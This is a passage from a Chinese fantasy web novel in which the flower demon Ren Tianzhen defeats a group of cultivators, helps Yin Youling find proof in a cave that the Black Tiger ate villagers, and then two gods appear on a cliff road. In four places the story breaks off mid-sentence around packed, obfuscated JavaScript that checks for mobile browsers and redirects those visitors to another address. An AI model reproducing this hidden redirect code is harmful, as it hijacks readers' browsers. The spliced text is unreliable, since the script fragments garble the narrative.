“咦,你这小姑娘怎么说话的?小小年纪嘴咋那么欠呢?” 中年修士气得要命,任天真却笑得花枝乱颤。 “真没想到这个妹妹的小模样这么可爱,小嘴却这么毒舌。” 阿难摇头道:“算了算了不管了,你们要打就打吧!不过最好是出去打,别把店家的房子打坏了,人家做点小本生意不容易。” “我们出去打没问题,但这个妖怪未必会肯。” “我为什么不肯?作为一个修仙向道的好妖,我才不会闲得没事砸人家的铺子呢!走,我们出去打。” 任天真率先站起来往外走,虽然有七八柄灵剑指着她,她却像漫步花荫间似的神色淡定从容。 “阴真人,你不来吗?” 中年修士还想多叫上一个人,阴有苓不假思索地摇了摇头。 “妖和人一样,有善恶之分。如果不是害人性命的恶妖,我就不会轻易动手。” 一个年轻修士脱口而出。 “不是吧阴真人,听说原本要跟你拜堂成亲的师兄,婚礼当天被一个妖女拐走了。妖女跟你有夺夫之恨,你见了她们就该格杀勿论,一个也别放过才对。” 阴有苓面无表情地道:“冤有头债有主,谁欠了我的我就找谁还,不会做这种一杆子打翻一船人的迁怒之举。” 听了这番对话,任天真扭头又大步流星地走回来,满脸打抱不平的神色。 “什么?妖族有人拐跑了姐姐的新郎倌?岂有此理,哪个妖女干的,姐姐你告诉我,我帮你把她揪出来算账。” “不知道,你还是先解决掉自己这一摊子事吧!” “行,那我先摆平了这帮人再说。” . 万隆客栈外有一片空旷的地方,几位修士就在此列阵,一起对任天真展开围攻。 阿难、应长恨和阴有苓,都走到窗子边观战。 七八柄灵剑组成的剑阵,配合得不可谓不好,但任天真在剑光间隙中穿梭来去时,翩若惊鸿的身姿说明她应付得轻松自如。 没看一会儿,阴有苓就道:“阿难,果然被你说中了,这些人联手也不是任天真的对手。他们一上来就结剑阵想要以多胜寡,她却应对得这般游刃有余。” “这不明摆着的事吗?如果她打不过这些人,怎么敢自曝身份呢?既然敢自曝身份,就一定能掌控全场。” 应长恨道:“她开始亮兵刃了,那是什么武器?好像是把锤子!” 阴有苓道:“没错,就是锤子。” 阿难笑道:“这么娇柔的美人,武器居然是一把锤子,反差是不是有点大?” 应长恨又道:“可她这把锤子很是精致,你们注意看锤头,是不是像一朵莲花?” 任天真手中那把银光闪闪的圆头锤,锤头上围绕着一圈浮雕莲花纹,中间还有莲蓬雕饰,看上去宛如一朵莲花。 阿难随口道:“她是莲花修炼成精的花妖,把称手的兵器雕成莲花形状也很合理。” 阴有苓不无诧异地扭头看了他一眼,“你怎么能看出她的原形?” 妖怪修成人形后,只要灵台清明法力在线,不会动不动露出本相的尾巴或翅膀什么的,就很难被看出原形。 任天真实力不俗,显然是修为已经达到一定境界的大妖。姣花软玉般的女体没有任何破绽,想要看出她的原形更是谈何容易。 就算是云间仙境的神仙,除非有照妖镜这样的法宝,否则也不能一眼看穿大妖的原形。 “我不是看出来的,是猜出来的。” 应长恨理解无能:“这个怎么猜?” “她的名字叫任天真,出自诗句“惟有绿荷红菡萏,卷舒开合任天真”,这还不明显吗?莲花锤一出,更加证明我没有猜错了。” 在他们交谈中,任天真开始放大招了,手中那把莲花锤抡得虎虎生风,很快就把组团作战的修士全部撂翻在地。 应长恨目露欣赏之色,“这花妖看上去娇滴滴的,打法却这么彪悍,是个猛人呢!” 单看外表任天真就是一朵娇花,不像是战斗力超高的那一挂,殊不知这朵娇花却带刺扎手得很。 阿难笑着点评道:“阴真人,任天真姑娘动起手来,跟你有异曲同工之妙。一个又美又飒,一个又美又彪。” 阴有苓身上洋溢着一种英姿飒爽的中性美,而任天真则是既不失女性的娇柔妩媚,又带着一份甜美的彪悍。 把七八名修士集体撂翻后,任天真随手抛出一块类似蛛网般细密洁白的东西。 那东西一开始只有手帕大小,抛上半空后自动变大。 它把所有落败的修士都笼罩其中后又自动缩小,如同鱼网捕鱼般把他们捆成了一大堆,连叫声都传不出来。 阴有苓目光一凝道:“这又是什么东西?” 应长恨道:“应该是类似捆仙索之类的工具。” “阴真人你放心,她连萧寅都没杀,更加不会杀这些人。只不过是把人捆好,免得他们跑去搬救兵。毕竟她还想在这儿住上一宿,自然不希望半夜又有人打上门来扰她清梦。等明天要走人了,她肯定就会放人的。” 阿难一番话说得大包大揽,笃定任天真不会要了这些修士的性命。阴有苓也有同感,点点头不再多言。 “好了,收工。” 任天真手中的莲花锤悄然隐去,她轻捋云鬓地回眸一笑,皓齿朱唇宛如玫瑰含雪。 “阴姐姐,我的麻烦解决了,咱们接着聊啊!” . 两个妖,一个鬼,一个修士,就着半锅稀粥和一打肉粽,在荒郊野外的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097535|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客栈里共进晚餐。 任天真翩然落座时,招手把老板两口子叫过来。 他们虽然已经知道了她是妖,但眼前这个娇俏动人的少女一点都不可怕,还冲他们笑得眉眼弯弯。 “老板,老板娘,外头那些人都不用住店了,腾出来的空房间就给我们四个住。收拾得干净一点,房钱我会加倍给的。” “行,没问题,我们这就去准备。” 老板两口子上楼收拾房间后,任天真看着阴有苓旧话重提。 “阴姐姐,哪个妖女拐了你的新郎倌?说出来我帮你找她算账。” “我不知道是谁,也不用你帮忙。好意心领,我自己的事自己会解决。” 任天真也不勉强,“行,那阴姐姐你跑掉的那个新郎倌是谁?要不要我帮你留意一下他的行踪?” 阴有苓没有拒绝,“他叫晁定武,如果你有他的下落,可以通知我。” “没问题,姐姐的传讯飞符给我一张,我有什么消息就立刻通知你。” 传讯飞符是一种三界通用的消息传递工具。区别在于云间仙境的飞得最快,无间鬼域的次一等,人间凡界的速度最慢。 因为传讯飞符不是辟邪符咒,所以妖魔鬼怪也能用。当然一般低阶的小喽罗用不了,必须要有一定修为才能驱动。 阴有苓二话不说给了任天真一张传讯飞符。 传讯飞符是能认主的,就相当于信鸽,放飞后会自己飞去找主人报信。 “姐姐,这是我的传讯飞符,如果有什么需要,你也可以找我。” 来而不往非礼也,任天真也给了阴有苓一张传讯飞符,她同样收下了。 阿难和应长恨坐在一旁吃吃喝喝,不参与两位姑娘的谈话,任天真却笑盈盈地瞥了阿难一眼。 “美髯公哥哥,还不知道你怎么称呼呢?” “我叫阿难,他是阿难。我们不是什么重要人物,不过是陪着阴真人去玉岭走一趟的小角色,你不用应酬我们。” “原来是阿难哥哥和阿难妹妹呀!我任天真交朋友,从不在乎是大人物还是小角色。只要看得顺眼,就算是叫花子我也稀罕;如果看得不顺眼,哪怕是天王老子也懒得搭理。阿难哥哥知道我名字的出处,我很是欢喜,也送二位一张传讯飞符结个缘吧!” 任天真这种不拘一格交朋友的恣意洒脱,阿难很是欣赏,于是没有推脱,朗声一笑道:“好,那多谢真真姑娘了。” 阿难收下传讯飞符后,任天真扭头看着阴有苓,笑语嫣然地发问。 “阴姐姐,你们三人要去玉岭,那儿属于浮玉山脉,这么说你们也是去追查黑虎的下落了?” “没错。你会这么问,难道也是因为这一目的吗?” 阴有苓问得直截了当,任天真也答得十分坦率,一点也不藏着掖着。 “对,虽然太玄真君的梦令只发布给修真人士,但我听说后也想去试一试。虽然我是妖,但如果我能完成任务,他将我度化上天成为仙葩,想来也不是什么难事吧?” 34.强者 理论上来说,非人一族的妖修成人形后可以继续修仙,但能修成正果的目前还没有过。 云间仙境的仙官们,倒是偶尔会把看中的飞禽走兽度化上天成为仙禽神兽,用来充当座骑或宠物。 虽然属于天界的编外员工,但好歹也沾上了神仙二字。 任天真之前说自己一心修仙向道,显然不是随口说说。 她是真的想成为天界一员,哪怕只是编外的。所以得知有了这么一个机会,也打算试上一试。 阿难心里有些奇怪,这位花妖的行事作风主打一个率性而为,为什么却对成仙一事如此执着? 要知道一个率真洒脱的人,很容易放下心中执念,很少会强求什么。 “真真姑娘所言极是,如果你能完成任务,那成为仙葩应该不难。问题是这个任务有点难度呢?黑虎虽然生不见虎死不见尸,但性命肯定已经丢了。凶手是谁尽管还不能确定,可眼下厉鬼应长恨是公认的重大作案嫌疑犯。如果真是他干的,你有把握干掉他吗?” 阿难这个问题一出,应长恨下意识地竖起了耳朵,等着听任天真的答案。 “必胜的把握自然是没有。应长恨毕竟是四大恶煞之一,听说他那把鬼刀风雷怒很不好对付。不过我还是想试一试,总之打得赢就打,打不赢就跑呗!” 人间凡界的大妖,和无间鬼域的牛鬼,基本上不会起什么正面冲突。 同为妖魔鬼怪的邪魔外道,二者并非敌对关系,甚至还可以惺惺相惜一下。 太玄真君陆衢的梦令,原本只是下达给了人间凡界的修真人士。 可是现在消息传开后,连任天真这样的妖修都有所心动,应长恨的处境也就越发危险。 “阴姐姐,太玄真君的梦令,你是冲着哪一项任务去的?” 和阿难对视了一眼后,阴有苓缓缓道: “关于黑虎之死,我听说了一个令人震惊的版本,阿难说是他和阿难的亲身经历。如果他们所言属实,我或许能完成第二项任务,但太玄真君肯定不会高兴。” 任天真意想不到地一怔:“阿难哥哥和阿难妹妹,难道你们亲眼目睹了黑虎之死吗?” “正是如此,真真姑娘,且听我细细道来。” . 阿难曾经对阴有苓招供的一番话,又重新对任天真说了一遍,听得她瞪圆了一双秋水眼。 “什么?黑虎居然私自下凡吃人!事情败露打算杀人灭口,结果遇上疫鬼厉无情被反杀了。阴姐姐,难怪你说就算你能查出真凶,太玄真君也不会高兴。那你还打算查下去吗?” “查。如果黑虎当真偷偷下凡吃人被宰了,那整件事就是它咎由自取。太玄真君御下不严也难辞其咎,理应向帝君上书请罪才对。” “可是太玄真君一向霸道强横,没有真凭实据的话,绝对不会承认此事。阿难他们一个妖一个鬼,都不是神仙眼中可靠的人证,肯定会说片面之词不足以为信。” 看了阿难和应长恨“小姑娘”一眼后,任天真又盈盈含笑道: “不过我信你们两个,能把一大一小两个男子汉逼得男扮女装来逃命,可见那晚在玉岭被吓得不轻,所言非虚。” 阿难苦着一张脸直点头。 “可不是嘛,那晚真是倒霉催的,先遇上黑虎,再遇上疫鬼,差一点魂都吓没了。” “黑虎原来是死于疫鬼的鬼箭之下,厉鬼只是在背黑锅。这个厉无情还真是厉害,他出手杀了神仙座骑剜取内丹,屎盆子却扣到别人头上,把自己撇得一干二净。” 对于任天真的感叹,阿难有意无意地又道: “是啊!疫鬼心够狠,手够辣,是个厉害角色。既然你相信我们的话,明白他才是杀死黑虎的真凶,那你完成任务的对象,就该从厉鬼换成疫鬼了吧?” “我想我没必要去完成什么任务了。黑虎之死的真相,太玄真君肯定不会认同,那么厉鬼这个黑锅恐怕甩不掉。我要是不知道事实也就算了,既然知道了就不能落井下石,毕竟人家被栽赃陷害已经够惨了。” “够惨了”的应长恨暗中点头:这花妖的妖品还是很不错的嘛! “真真姑娘,对于妖类来说,这可是一个难得可贵的升仙机会,你真打算放弃吗?” “我是想升仙,但不想用损人利己的方式。明知厉鬼是被冤枉的,还要枉杀他向太玄真君邀功,这种没品的事本姑娘可做不出来。” 阿难笑声朗朗地道:“好,真真姑娘不愧是出污泥而不染,濯清涟而不妖的莲花。” “那是,这一句赞美本姑娘要是当不起的话,天底下也没人能当得起了。” 任天真当仁不让地胸膛一挺,看向阿难的眼神蕴满笑意,显然对他的这一赞美很是称心如意。 自己的花妖身份已经被阿难看破了,任天真一派无所谓,也没有开口问阿难的原形是什么。 人家想说自然会说,不想说就别问那么多。 “阴姐姐,如果到了安宁镇后,证实阿难他们说的都是实话,黑虎确实下凡吃人了,你打算怎么办?” “如果我查明事实无误,一定会将此事公之于众。至于太玄真君信与不信,就随他的便吧!” 阴有苓的声音并不高,语气也不激烈,却有着一种类似钢铁相击的铿锵有力感,透着言出必行的决心。 应长恨强调道:“阴真人,你就不怕得罪太玄真君吗?” 阴有苓在人间凡界修仙,太玄真君陆衢在云间仙境为仙,两者看似井水不犯河水,其实并不然。 高阶仙官可以出手将一位修士度化飞仙,自然也可以动手脚来阻碍修士的修行。 总之一句话,上位者想要给底下人制造一点麻烦,实在是轻而易举的事。 哪怕神仙是世人眼中救苦救难的救世主,被惹毛了不能明着报复,暗中使点绊子添点堵,让人吃个哑巴亏一点也不难。 阴有苓下颔一扬,傲然道:“你看我像是要活成讨好别人的样子吗?” 任天真拍手笑道:“当然不像。真正的强者,从不怕得罪人——而阴姐姐正是这样的强者。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127646|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . 次日一早,任天真和阴有苓一行三人,一起踏上了去安宁镇的路途。至于捆在客栈门口的那批修士,她没有急着松绑。 “就让他们在我的藕丝帕里多关一天,否则一放出来肯定要召集人马来找我的麻烦,到时候跟苍蝇似的嗡嗡缠着不放很烦人。” 阿难了然地问道:“真真姑娘,你那块藕丝帕是个法宝吧?” “嗯,它是我用本体的莲藕丝炼制而成,不惧刀剑坚韧无比。可以从一块小帕子展开成五丈方圆的大网,同时网住很多人,比什么捆仙索好使多了。” 妖魔鬼怪炼制法宝时,以本体一部分炼出来的法宝威力最强,没有之一。 只要主人法力不衰,它就威力不减,使用起来也最是得心应手,如臂使指一般。 法宝很难炼,本体法宝更加难炼,毕竟是自己身体的一部分。人的身体发肤受之父母不敢有损,妖也同样不敢有损。 禽兽之妖自损身体伤害太大,一个弄不好会适得其反,让修为倒退一大截。草木之妖这方面要好一点,但也轻易不敢伤害自身。 任天真敢用本体的莲藕丝来炼制法宝,可见其人是何等的艺高人胆大。 阴有苓道:“能炼制法宝的都是千年大妖,看来你的道行不浅啊!” “阴姐姐,我不瞒你,我的道行其实才五百年。只是因为五百年前的一段仙缘,所以修为翻了一倍。” 阿难道:“原来真真姑娘是有仙缘的人啊!你以后好好修行,相信总有一天能白日飞升位列仙班。” 任天真眉眼弯弯地含笑道:“阿难哥哥,那就承你吉言了。” . 一辆马车载着四个人奔驰了一天后,在红日偏西时分抵达了安宁镇。 去见孙里正之前,阿难和应长恨都得“变回原形”。 前者简单,一把薅光脸上的假胡子就行了;后者就得从发型到衣服都整体换一下。 两人在车厢里换回原样后,一前一后地跳下车。 等在外面的阴有苓和任天真,都下意识地把他们从头到脚打量了一番。 “咦,阿难哥哥,你的皮相不错嘛!有胡子的时候帅,没胡子的时候更帅。从美髯公变成美少年了!” 笑盈盈地打趣完阿难后,任天真又看着应长恨道:“阿难弟弟虽然从小女孩变成了小男孩,但还是一样的可爱。” 应长恨皱着眉头一脸不满,“拜托,你能不用‘可爱’这个词吗?” “但你就是可爱呀!” 应长恨很酷很拽地反驳道:“我不可爱,你才可爱。” 任天真笑得花枝乱颤:“行,我可爱也没什么不好的。” 盯着酷酷的不可爱的应长恨打量片刻,阴有苓感觉他看起来似乎有点眼熟,但又想不起来以前在哪里见过。 应长恨的孩童外形是自己形态的缩小版。 当初在女王蜂的巢穴外,阴有苓曾与成年版的应长恨照过面,所以现在感觉似曾相识,却又记不起在何时何地见过。 35.月华石 阿难和应长恨出现在孙里正面前时,他先是一愣,然后欣喜若狂。 “二位真人,你们没事啊!真是太好了,小老儿原本还担心你们在打虎时遭遇不测了呢!” 那晚一大一小两位真人上山打老虎,结果一去不复返,孙里正自然是觉得凶多吉少,担心他们没准也喂了老虎。 不过,二位真人虽然凶多吉少,但是老虎似乎也跟着一起完蛋了。 总之那晚之后玉岭一带就恢复了太平,山林中再没传来虎啸声,更没再闹过虎患。 樵夫们总算又可以放心大胆地上山砍柴了。 要知道砍柴可是事关民生的大事,如果没有柴火的话,百姓的一日三餐都要成问题。 安宁镇恢复了太平,镇民们都对为民除害的打虎英雄感激不尽。 在孙里正的提议下,那笔赏金就用来为两位真人立了一块功德碑,褒奖和颂扬他们这种舍己为人的崇高精神。 功德碑昨天才刚刚立起来,没想到今天两位真人却意外出现了。 “我们没事,只是那晚打老虎的时候出了点意外,所以今天才有空过来。” “两位真人是来拿赏金的吗?可是赏金已经用来为二位铸就功德碑了呢!” 孙里正解释一番后,阿难点头笑道:“行,功德碑就功德碑,我们不会再找你要赏金了。” 虽然老虎不是自己打死的,而是被疫鬼暗算身亡。不过认领这块打虎英雄的功德碑,阿难可是一点思想包袱都没有。 把孙里正引到阴有苓和任天真的面前,阿难替他介绍起来。 “孙里正,这位是无极宗的阴真人。她的修为比我高,我特意请她过来玉岭一带巡查,看是否还有其他邪祟需要处理。这位真真姑娘也是来帮忙的。” “二位女真人看起来就像天上的仙女下凡一样,如此人美心善,他日一定能早日飞升,成为真正的仙女。” 孙里正自是感激不尽,立刻张罗了一桌酒席热情款待四位真人,又在镇上最好的客栈替他们安排了住处。 先让他们吃好住好,明天一早再上山巡查。 . 来到安宁镇,见到孙里正,阿难那个揭榜上山打老虎的说法得到了印证。但那只吃人的老虎是不是黑虎,就没法证明了。 “我知道,现在只能证明我俩上山打虎了,却无法证明我俩见到了黑虎。安宁镇的老百姓也只知道有老虎在吃人,并没有亲眼见到那是一只怎样的老虎,毕竟见过它的人都已经被吃掉变成了伥鬼。” 任天真道:“对了,那几个伥鬼呢?可以把它们找出来当人证吧?” “如果我是疫鬼,就绝不会再留着那几个伥鬼,一定会吞了它们不可。” 阿难对此不抱以希望,应长恨点头附和道: “疫鬼既然要栽赃陷害,知情者就肯定不能留着。何况那几个伥鬼也有可能看见是他射杀了黑虎,所以必死无疑。” 阴有苓道:“既然如此,那就只能上山找找看有没有什么物证了。” 阿难也是这么想的。 “那晚我们上山打虎遇上伥鬼老莫,被他带去一个山洞送给黑虎当大餐。如果那个山洞就是黑虎的临时巢穴,里头或许会有我们想要的物证。” . 次日一早,一行四人出发上山,前往玉岭人迹罕至的深山老林。 费了一番周折后,阿难终于找到了那处隐蔽的山洞。 山洞面积不大,里面还有透光的缝隙,几个人入洞查看时,都不需要另外使用灯火。 在山洞最昏暗的角落里,他们发现了一堆被吃得支离破碎的骸骨。 一共五个头颅骨,说明这是五具遗骸,对上了安宁镇五位受害者的数目。遗骸所在的地方到处血迹斑斑,显然黑虎就是在山洞里进食的。 “黑虎在这里吃人,也在这里休息,那么山洞里肯定有它脱落的毛发。如果我没有看错的话,这一团就是了。” 阿难指着地上一团黑乎乎的东西说,应长恨也眼尖地发现了另一团。 “那个也是吧?” 任天真抬起右手,亮出一颗闪闪发光的珠子。 那珠子不过拇指大小,却像一轮满月似的明亮,让昏暗的山洞一瞬间就亮堂多了。 “月华石,看来真真姑娘有不少好东西呢。” 月华石是一种十分罕有的灵石,放在月光下能吸收月亮的纯阴之华,夜里就像小月亮般绽放光芒。 另外还有一种叫日精石的灵石,放在阳光下能吸收太阳的纯阳之精,入夜后就像小太阳一样明亮非凡。 照明作用只是这两种灵石的副功能,它们最主要的功能,是其中所蕴藏的日光之精与月光之华。 至纯至阳的日精石,一般的妖魔鬼怪都不敢靠近,否则就会被灼伤。 至纯至阴的月华石,却是他们喜欢的东西。因为妖魔鬼怪的阴气都很重,可以汲取灵石中的月光之华转化为自身灵力。 “修行了五百年,多少还是攒了一点家底的。” 有这颗明亮的月华石,想要确定那些黑乎乎的东西究竟是不是黑虎的毛发,就轻而易举了。 仔细确认一番后,阴有苓做出结论道:“没错,这些一团一团的东西,就是黑虎的毛发。这里到处都是,还有残留的些许仙气。” 老虎的毛发常见,黑虎的毛发可不常见,有仙气的黑虎更是三界之中仅此一只。 一团团脱落的黑虎毛发中,大量沾染着血迹、骨髓、脑浆类等人体组织,完全不难想像出黑虎之前在此进食时,是何等的“大快朵颐”。 任天真满脸嫌恶地看着那些黑虎毛发。 “阴姐姐,阿难他们说的是实话,黑虎确实私自下凡吃人了。” “嗯,这一点已经证据确凿。但想要证明黑虎是疫鬼射杀的,恐怕就难了。” 阿难一脸没辙的神色。 “是啊,疫鬼那样的鬼精,都已经把杀虎凶手的罪名栽赃到了厉鬼头上,肯定不会再留下什么证据让别人找到。” 阴有苓思索片刻道: “无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138981|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何,黑虎下凡吃人一事已是板上钉钉,我会把这一点公之于众。至于黑虎之死,你们的说辞也可以对外公布,只是会注明目前尚无证据能够证明,可信与否就由个人自行判断吧!” “阴真人,那你相信我们吗?” 阴有苓缓缓点了一下头,“我个人倾向于你们说的是实话,杀死黑虎的是疫鬼厉无情。” “多谢真人明察秋毫,那我和阿难弟弟身上的傀儡符,可以解除了吗?” “行。” 阴有苓话音未落,阿难和应长恨的眉心就光芒一闪,那是她干脆利落地召回了两道傀儡符。 “阴真人真是爽快人,多谢多谢。” 没有了傀儡符,阿难和应长恨就恢复了自由身,可以跟阴有苓分道扬镳了。 “阴真人,那我们就此别过,后会有期。” 阿难一秒钟都没耽误,立刻提出要走人。 任天真娇笑道:“阿难哥哥,这就急着要走啊?阴姐姐又不是母老虎,不会吃了你的。” “阴真人固然不会吃人,可是她把黑虎吃人的真相公之于众后,太玄真君一得到消息,没准会亲自过来求证此事是否属实。我们一个妖一个鬼,平时就不敢在仙官面前招摇过市,更别提这种非常时期,一个弄不好就会死翘翘。真真姑娘,我劝你也躲远一点为妙。” 任天真想想也是。 “太玄真君可是霸道惯了的人,这回黑虎给他捅了这么大一个篓子,到时他颜面扫地,免不了要冲别人撒气——而妖魔鬼怪就是最好的出气筒。” 应长恨冷冷一笑。 “可不是嘛,他一肚子邪火随便找个妖魔鬼怪撒出来,还能落个降妖伏魔的美名,正好补救一下御下不严的失察之罪,两全其美呢!” 阿难强调道:“所以啊,我们这些妖魔鬼怪要赶紧闪人,有多远闪多运。” 阴有苓点头道:“此地不宜久留,你们三个都快走吧,别再留在浮玉山一带。” . 阿难、应长恨和任天真一起先下山,阴有苓独自留在山洞里设结界,以免被人误闯破坏证据。 “阿难哥哥,现在疫鬼正追杀你们,接下来你们打算躲去哪儿?” 阿难含笑反问道:“还不知道呢,真真姑娘有什么好的建议吗?” “距离这儿一百多里外,就是繁华的禹杭城。有道是大隐隐于市,很适合你们藏身其间。如果觉得禹杭城还不够保险的话,可以从钱塘江乘船出发直入东海,那就更是海阔凭鱼跃,天高任鸟飞了。” “真真姑娘所言极是,那我们就去禹杭城。对了,你接下来打算去哪儿呢?” “我反正闲着没事,打算去帮阴姐姐找一找那个晁定武的下落。先去黟山跑一趟吧,那边有个熟人,可以帮忙打听消息。” 黟山与浮玉山遥遥相望,任天真从这里过去黟山倒是非常顺路。 下山后,阿难和应长恨就跟任天真大路朝天各走一边了。她独自前往黟山,他们则返回安宁镇,去客栈取那辆寄存的马车。 36.仙人 离开安宁镇的时候,阿难和应长恨都恢复了“美髯公”和“小姑娘”的伪装。 为了安全起见,他还另外雇了一位车夫负责赶车,二人躲在车厢里不露面,毕竟安全系数这个东西越高越好了。 出城后,马车一路奔驰在人烟稀少的山林之间。 眼看前方即将经过一条挂在峭壁上的栈道,车夫一勒缰绳放慢了速度。 “公子,前面要过栈道,马车必须慢行,不然容易出事。” “行,有劳车夫大哥了。” 车夫驾驶着马车徐徐前行,还没来得及踏上栈道,栈道口却突然活见鬼似的凭空多了一个人。 那是一个身高九尺的彪形大汉,豹头环眼,虎背熊腰,满脸络腮胡子和乱蓬蓬的头发打成一片。 一袭蓝色袍子穿得有些松垮,袒露出半拉肌肉结实的健硕胸膛,看上去很是狂野不羁。 荒山野岭的无人之地,突然冒出这么一位走狂野路线的彪形大汉,普通人的第一反应肯定是遇上了劫道的山匪。 “好汉饶命,好汉饶命啊!” 车夫被吓得不轻,二话不说就跳下马车跪地求饶,磕头如捣蒜一般。 “我只是一个被雇来赶车的车夫,身上没有多少钱。不过车里头坐着雇主呢,他一定愿意破财消灾,绝不会让好汉您空跑一趟。只求您取财留命,放我们一马吧?” 彪形大汉凭空出现的时候,阿难腕间的铃铛似有若无地响了一声。 应长恨一直闭着眼睛打盹,铃铛的响声一起,他立刻警觉地睁开了双眼。见阿难竖起一根食指在唇间,立刻闭紧了原本想要发问的嘴。 示意应长恨呆在车里别乱动后,阿难堆满一脸惊慌失措的神色,推开了半边车门。 “车夫说得对,我愿意破财消灾,只求好汉拿钱走人,给我们留一条活路。求求您,求求您……” 阿难的表情很慌张,声音很紧张,和车夫一样哆哆嗦嗦地趴着求饶,一副快要被吓得尿裤子的怂样。 “都给我住口。” 彪形大汉皱着眉头一声暴喝,声若惊雷,打断了二人没完没了的求饶。 他话音未落,半空中忽然一阵花雨缤纷,簇拥着一人从天而降。 那是一位紫袍玉冠的年轻郎君,龙眉凤眼,皓齿鲜唇,周身环绕着无数翩飞旋落的七彩花瓣,一看就不是俗人是仙人——只有仙人才有这等排面不俗的出场方式。 车夫大喜过望,“天啊!郦仙郎显灵了!我女儿给的护身符还真派上用场了。” . 郦仙郎本名郦子微,是云间仙境的一位仙官,获封“弘文真君”。 他飞升那年才二十五岁,是位仪神隽秀的美男子,座下一直有许多少女怀春的忠实信徒,亲密地称其为“郦仙郎”。 久而久之,不少民间百姓也都这么叫了。 车夫的女儿就是郦子微的迷妹之一,为一家老小都求过他的护身符。 刚才路遇劫匪,车夫一边求饶一边求救——希望怀里那张弘文真君的护身符能管用。 在各路神仙的神庙中,都可以求得他们的护身符,是否管用就得看自己的运气了。 毕竟神仙太少,凡人太多,每个人都想求得神仙保佑,他们如果都要管的话,就算累死也忙不过来。 但是车夫今天撞了大运,碰巧郦子微就在附近,便顺路过来显个灵搭救一把自己的信徒。 啼笑皆非地瞥了彪形大汉一眼后,郦子微含笑安抚道:“没事了,你们走吧!” “多谢郦仙郎出手搭救,小的回去后,一定每日三炷高香叩谢仙郎。” 阿难鹦鹉学舌地跟着车夫重复道:“是啊,我也会早晚三炷高香叩谢郦仙郎的。” . 车夫赶着马车踏上栈道时,速度很慢,因为在一面临崖一面悬空的栈道上不能纵马奔驰。 坐在缓慢前行的马车里,阿难和应长恨都在竖起耳朵捕捉声音——来自后头栈道口处,弘文真君郦子微和那个彪形大汉的对话声。 这样的距离凡人是听不到的,但他们的听力更加敏锐。 “钟离将军,如果评选最不像神仙的神仙,你一定稳居榜首。神仙下凡却被误会成是打劫的山匪,除了你也没谁了。话说你就不能好好倒饬一下自己的个人形象吗?哪怕学到我三成,也不至于会有这种让人啼笑皆非的误会了。” 一听“钟离将军”四个字,应长恨就知道彪形大汉是谁了。 威毅真君钟离斐,是坐镇江南一带的武神;弘文真君郦子微,则是这一带的文神;他俩都是江南的本土神仙。 在威毅真君的神庙中,钟离斐的神像都是清一色武将装束。身披金甲,手持银枪,相貌堂堂,威风凛凛。 跟他眼下这副胡子拉碴衣冠不整的尊容,实在是对不上号,车夫自然是认不出来了。 “不可能,就算打死我也不会跟你学。你小子整天打扮得油头粉面不说,亮个相还要搞堆花瓣雨来烘托一下气氛,忒矫情做作了!” 钟离斐想也不想地就一口回绝,措辞也很不客气。 阿难听得暗中一哂:这位将军还是一如既往的直肠子,半点没变啊! “油头粉面”的郦子微,简直就像是钟离斐的对照组。 一张俊朗的面孔洁白无须,满头乌发整整齐齐地束在晶莹剔透的白玉冠中,一根头发丝都不乱。 身上那袭紫罗袍也穿得十分熨贴,半点褶子都没有。 郦子微满不在乎地微笑,“在凡人面前显灵,有点仪式感才像神仙了。” “也是,如果不搞点花瓣雨来强化一下自己的神仙身份,没准你会被人误会是面首呢!” 应长恨听了都有点想笑,江南的两位本土神仙,如果一个像土匪,一个像面首,那传出去还真是好听呢! 郦子微的涵养很好,虽然被钟离斐这般挖苦,脸上却一点也不见愠色,声音照样心平气和。 “钟离将军,咱们就别这样互相伤害了,说正事吧!你下凡来到这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157821|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是听说了黑虎生死不明的事?” “没错,我刚闭关出来就听说了这个消息,所以下凡查看一下。身为镇守江南一带的武神,这也是我的职责所在。你一个文神,怎么也来掺合这事啊?” 